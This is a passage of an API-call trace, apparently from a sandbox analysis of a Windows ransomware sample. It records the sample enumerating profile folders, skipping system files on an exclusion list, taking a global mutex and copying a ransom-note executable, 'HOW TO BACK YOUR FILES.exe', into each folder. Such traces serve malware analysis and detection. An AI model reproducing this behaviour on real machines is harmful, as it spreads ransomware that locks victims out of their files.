1 [0035.995] lstrcmpiW (lpString1="Saved Games", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.995] lstrcmpiW (lpString1="Saved Games", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.995] lstrcmpiW (lpString1="Saved Games", lpString2=".") returned 1 [0035.995] lstrcmpiW (lpString1="Saved Games", lpString2="..") returned 1 [0035.995] lstrcmpiW (lpString1="Saved Games", lpString2="windows") returned -1 [0035.995] lstrcmpiW (lpString1="Saved Games", lpString2="bootmgr") returned 1 [0035.995] lstrcmpiW (lpString1="Saved Games", lpString2="temp") returned -1 [0035.995] lstrcmpiW (lpString1="Saved Games", lpString2="pagefile.sys") returned 1 [0035.995] lstrcmpiW (lpString1="Saved Games", lpString2="boot") returned 1 [0035.995] lstrcmpiW (lpString1="Saved Games", lpString2="ids.txt") returned 1 [0035.995] lstrcmpiW (lpString1="Saved Games", lpString2="ntuser.dat") returned 1 [0035.995] lstrcmpiW (lpString1="Saved Games", lpString2="perflogs") returned 1 [0035.995] lstrcmpiW (lpString1="Saved Games", lpString2="MSBuild") returned 1 [0035.995] lstrlenW (lpString="Saved Games") returned 11 [0035.995] lstrcpyW (in: lpString1=0x241e88c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0035.995] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Saved Games", dwFileAttributes=0x10) returned 1 [0035.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc60 [0035.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51b398 [0035.995] lstrcatW (in: lpString1="Saved Games", lpString2="\\" | out: lpString1="Saved Games\\") returned="Saved Games\\" [0035.996] lstrcatW (in: lpString1="Saved Games\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Saved Games\\HOW TO BACK YOUR FILES.exe") returned="Saved Games\\HOW TO BACK YOUR FILES.exe" [0035.996] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.998] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0035.998] lstrcmpiW (lpString1="Searches", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.998] lstrcmpiW (lpString1="Searches", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.998] lstrcmpiW (lpString1="Searches", lpString2=".") returned 1 [0035.998] lstrcmpiW (lpString1="Searches", lpString2="..") returned 1 [0035.998] lstrcmpiW (lpString1="Searches", lpString2="windows") returned -1 [0035.998] lstrcmpiW (lpString1="Searches", lpString2="bootmgr") returned 1 [0035.998] lstrcmpiW (lpString1="Searches", lpString2="temp") returned -1 [0035.998] lstrcmpiW (lpString1="Searches", lpString2="pagefile.sys") returned 1 [0035.998] lstrcmpiW (lpString1="Searches", lpString2="boot") returned 1 [0035.998] lstrcmpiW (lpString1="Searches", lpString2="ids.txt") returned 1 [0035.998] lstrcmpiW (lpString1="Searches", lpString2="ntuser.dat") returned 1 [0035.998] lstrcmpiW (lpString1="Searches", lpString2="perflogs") returned 1 [0035.998] lstrcmpiW (lpString1="Searches", lpString2="MSBuild") returned 1 [0035.998] lstrlenW (lpString="Searches") returned 8 [0035.998] lstrcpyW (in: lpString1=0x241e88c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0035.998] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Searches", dwFileAttributes=0x10) returned 1 [0035.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc78 [0035.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x528ad0 [0035.999] lstrcatW (in: lpString1="Searches", lpString2="\\" | out: lpString1="Searches\\") returned="Searches\\" [0035.999] lstrcatW (in: lpString1="Searches\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Searches\\HOW TO BACK YOUR FILES.exe") returned="Searches\\HOW TO BACK YOUR FILES.exe" [0035.999] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\searches\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.002] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0036.003] lstrcmpiW (lpString1="SendTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.003] lstrcmpiW (lpString1="SendTo", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.003] lstrcmpiW (lpString1="SendTo", lpString2=".") returned 1 [0036.003] lstrcmpiW (lpString1="SendTo", lpString2="..") returned 1 [0036.003] lstrcmpiW (lpString1="SendTo", lpString2="windows") returned -1 [0036.003] lstrcmpiW (lpString1="SendTo", lpString2="bootmgr") returned 1 [0036.003] lstrcmpiW (lpString1="SendTo", lpString2="temp") returned -1 [0036.003] lstrcmpiW (lpString1="SendTo", lpString2="pagefile.sys") returned 1 [0036.003] lstrcmpiW (lpString1="SendTo", lpString2="boot") returned 1 [0036.003] lstrcmpiW (lpString1="SendTo", lpString2="ids.txt") returned 1 [0036.003] lstrcmpiW (lpString1="SendTo", lpString2="ntuser.dat") returned 1 [0036.003] lstrcmpiW (lpString1="SendTo", lpString2="perflogs") returned 1 [0036.003] lstrcmpiW (lpString1="SendTo", lpString2="MSBuild") returned 1 [0036.003] lstrlenW (lpString="SendTo") returned 6 [0036.003] lstrcpyW (in: lpString1=0x241e88c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0036.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc90 [0036.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x52) returned 0x528b30 [0036.003] lstrcatW (in: lpString1="SendTo", lpString2="\\" | out: lpString1="SendTo\\") returned="SendTo\\" [0036.003] lstrcatW (in: lpString1="SendTo\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SendTo\\HOW TO BACK YOUR FILES.exe") returned="SendTo\\HOW TO BACK YOUR FILES.exe" [0036.003] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.007] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0036.007] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.007] lstrcmpiW (lpString1="Start Menu", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.007] lstrcmpiW (lpString1="Start Menu", lpString2=".") returned 1 [0036.007] lstrcmpiW (lpString1="Start Menu", lpString2="..") returned 1 [0036.007] lstrcmpiW (lpString1="Start Menu", lpString2="windows") returned -1 [0036.007] lstrcmpiW (lpString1="Start Menu", lpString2="bootmgr") returned 1 [0036.007] lstrcmpiW (lpString1="Start Menu", lpString2="temp") returned -1 [0036.007] lstrcmpiW (lpString1="Start Menu", lpString2="pagefile.sys") returned 1 [0036.007] lstrcmpiW (lpString1="Start Menu", lpString2="boot") returned 1 [0036.007] lstrcmpiW (lpString1="Start Menu", lpString2="ids.txt") returned 1 [0036.007] lstrcmpiW (lpString1="Start Menu", lpString2="ntuser.dat") returned 1 [0036.007] lstrcmpiW (lpString1="Start Menu", lpString2="perflogs") returned 1 [0036.007] lstrcmpiW (lpString1="Start Menu", lpString2="MSBuild") returned 1 [0036.007] lstrlenW (lpString="Start Menu") returned 10 [0036.007] lstrcpyW (in: lpString1=0x241e88c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0036.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cca8 [0036.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x51b400 [0036.007] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0036.007] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0036.007] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.009] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0036.009] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.009] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.009] lstrcmpiW (lpString1="Templates", lpString2=".") returned 1 [0036.010] lstrcmpiW (lpString1="Templates", lpString2="..") returned 1 [0036.010] lstrcmpiW (lpString1="Templates", lpString2="windows") returned -1 [0036.010] lstrcmpiW (lpString1="Templates", lpString2="bootmgr") returned 1 [0036.010] lstrcmpiW (lpString1="Templates", lpString2="temp") returned 1 [0036.010] lstrcmpiW (lpString1="Templates", lpString2="pagefile.sys") returned 1 [0036.010] lstrcmpiW (lpString1="Templates", lpString2="boot") returned 1 [0036.010] lstrcmpiW (lpString1="Templates", lpString2="ids.txt") returned 1 [0036.010] lstrcmpiW (lpString1="Templates", lpString2="ntuser.dat") returned 1 [0036.010] lstrcmpiW (lpString1="Templates", lpString2="perflogs") returned 1 [0036.010] lstrcmpiW (lpString1="Templates", lpString2="MSBuild") returned 1 [0036.010] lstrlenW (lpString="Templates") returned 9 [0036.010] lstrcpyW (in: lpString1=0x241e88c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0036.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ccc0 [0036.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x528b90 [0036.010] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0036.010] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0036.010] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\templates\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.012] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0036.012] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.012] lstrcmpiW (lpString1="Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.012] lstrcmpiW (lpString1="Videos", lpString2=".") returned 1 [0036.012] lstrcmpiW (lpString1="Videos", lpString2="..") returned 1 [0036.012] lstrcmpiW (lpString1="Videos", lpString2="windows") returned -1 [0036.012] lstrcmpiW (lpString1="Videos", lpString2="bootmgr") returned 1 [0036.012] lstrcmpiW (lpString1="Videos", lpString2="temp") returned 1 [0036.012] lstrcmpiW (lpString1="Videos", lpString2="pagefile.sys") returned 1 [0036.012] lstrcmpiW (lpString1="Videos", lpString2="boot") returned 1 [0036.012] lstrcmpiW (lpString1="Videos", lpString2="ids.txt") returned 1 [0036.012] lstrcmpiW (lpString1="Videos", lpString2="ntuser.dat") returned 1 [0036.013] lstrcmpiW (lpString1="Videos", lpString2="perflogs") returned 1 [0036.013] lstrcmpiW (lpString1="Videos", lpString2="MSBuild") returned 1 [0036.013] lstrlenW (lpString="Videos") returned 6 [0036.013] lstrcpyW (in: lpString1=0x241e88c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0036.013] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Videos", dwFileAttributes=0x10) returned 1 [0036.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ccd8 [0036.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x52) returned 0x528bf0 [0036.013] lstrcatW (in: lpString1="Videos", lpString2="\\" | out: lpString1="Videos\\") returned="Videos\\" [0036.013] lstrcatW (in: lpString1="Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Videos\\HOW TO BACK YOUR FILES.exe") returned="Videos\\HOW TO BACK YOUR FILES.exe" [0036.013] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\videos\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.019] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0036.019] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0036.019] ReleaseMutex (hMutex=0xec) returned 1 [0036.019] CloseHandle (hObject=0xec) returned 1 [0036.019] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User" | out: lpString1="C:\\Documents and Settings\\Default User") returned="C:\\Documents and Settings\\Default User" [0036.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515c38 | out: hHeap=0x4f0000) returned 1 [0036.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c278 | out: hHeap=0x4f0000) returned 1 [0036.019] lstrlenW (lpString="C:\\Documents and Settings\\Default User") returned 38 [0036.019] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\70E913A136D6C71F111D33DC44E891FD") returned 0xec [0036.019] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0036.019] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User" | out: lpString1="C:\\Documents and Settings\\Default User") returned="C:\\Documents and Settings\\Default User" [0036.019] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0036.019] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.020] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0036.020] GetLastError () returned 0x0 [0036.020] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0036.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52dfb8 [0036.020] ReadFile (in: hFile=0xf4, lpBuffer=0x52dfb8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52dfb8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0036.020] CloseHandle (hObject=0xf4) returned 1 [0036.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0036.020] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0036.020] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd17d8e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd17d8e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0036.020] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.020] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.020] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0036.020] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd17d8e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd17d8e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.020] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.021] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.021] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0036.021] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0036.021] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0036.021] lstrcmpiW (lpString1="AppData", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.021] lstrcmpiW (lpString1="AppData", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.021] lstrcmpiW (lpString1="AppData", lpString2=".") returned 1 [0036.021] lstrcmpiW (lpString1="AppData", lpString2="..") returned 1 [0036.021] lstrcmpiW (lpString1="AppData", lpString2="windows") returned -1 [0036.021] lstrcmpiW (lpString1="AppData", lpString2="bootmgr") returned -1 [0036.021] lstrcmpiW (lpString1="AppData", lpString2="temp") returned -1 [0036.021] lstrcmpiW (lpString1="AppData", lpString2="pagefile.sys") returned -1 [0036.021] lstrcmpiW (lpString1="AppData", lpString2="boot") returned -1 [0036.021] lstrcmpiW (lpString1="AppData", lpString2="ids.txt") returned -1 [0036.021] lstrcmpiW (lpString1="AppData", lpString2="ntuser.dat") returned -1 [0036.021] lstrcmpiW (lpString1="AppData", lpString2="perflogs") returned -1 [0036.021] lstrcmpiW (lpString1="AppData", lpString2="MSBuild") returned -1 [0036.021] lstrlenW (lpString="AppData") returned 7 [0036.021] lstrcpyW (in: lpString1=0x241e896, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0036.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c278 [0036.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51b468 [0036.021] lstrcatW (in: lpString1="AppData", lpString2="\\" | out: lpString1="AppData\\") returned="AppData\\" [0036.021] lstrcatW (in: lpString1="AppData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AppData\\HOW TO BACK YOUR FILES.exe") returned="AppData\\HOW TO BACK YOUR FILES.exe" [0036.021] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.022] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0036.022] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.022] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.022] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0036.022] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0036.022] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0036.022] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0036.022] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0036.022] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0036.022] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0036.022] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0036.022] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0036.022] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0036.022] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0036.022] lstrlenW (lpString="Application Data") returned 16 [0036.022] lstrcpyW (in: lpString1=0x241e896, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0036.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ccf0 [0036.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x52cfd0 [0036.022] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0036.022] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0036.022] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.023] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0036.023] lstrcmpiW (lpString1="Contacts", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.023] lstrcmpiW (lpString1="Contacts", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.023] lstrcmpiW (lpString1="Contacts", lpString2=".") returned 1 [0036.023] lstrcmpiW (lpString1="Contacts", lpString2="..") returned 1 [0036.023] lstrcmpiW (lpString1="Contacts", lpString2="windows") returned -1 [0036.023] lstrcmpiW (lpString1="Contacts", lpString2="bootmgr") returned 1 [0036.023] lstrcmpiW (lpString1="Contacts", lpString2="temp") returned -1 [0036.023] lstrcmpiW (lpString1="Contacts", lpString2="pagefile.sys") returned -1 [0036.023] lstrcmpiW (lpString1="Contacts", lpString2="boot") returned 1 [0036.023] lstrcmpiW (lpString1="Contacts", lpString2="ids.txt") returned -1 [0036.023] lstrcmpiW (lpString1="Contacts", lpString2="ntuser.dat") returned -1 [0036.023] lstrcmpiW (lpString1="Contacts", lpString2="perflogs") returned -1 [0036.023] lstrcmpiW (lpString1="Contacts", lpString2="MSBuild") returned -1 [0036.023] lstrlenW (lpString="Contacts") returned 8 [0036.023] lstrcpyW (in: lpString1=0x241e896, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0036.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd08 [0036.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51b4d0 [0036.023] lstrcatW (in: lpString1="Contacts", lpString2="\\" | out: lpString1="Contacts\\") returned="Contacts\\" [0036.023] lstrcatW (in: lpString1="Contacts\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Contacts\\HOW TO BACK YOUR FILES.exe") returned="Contacts\\HOW 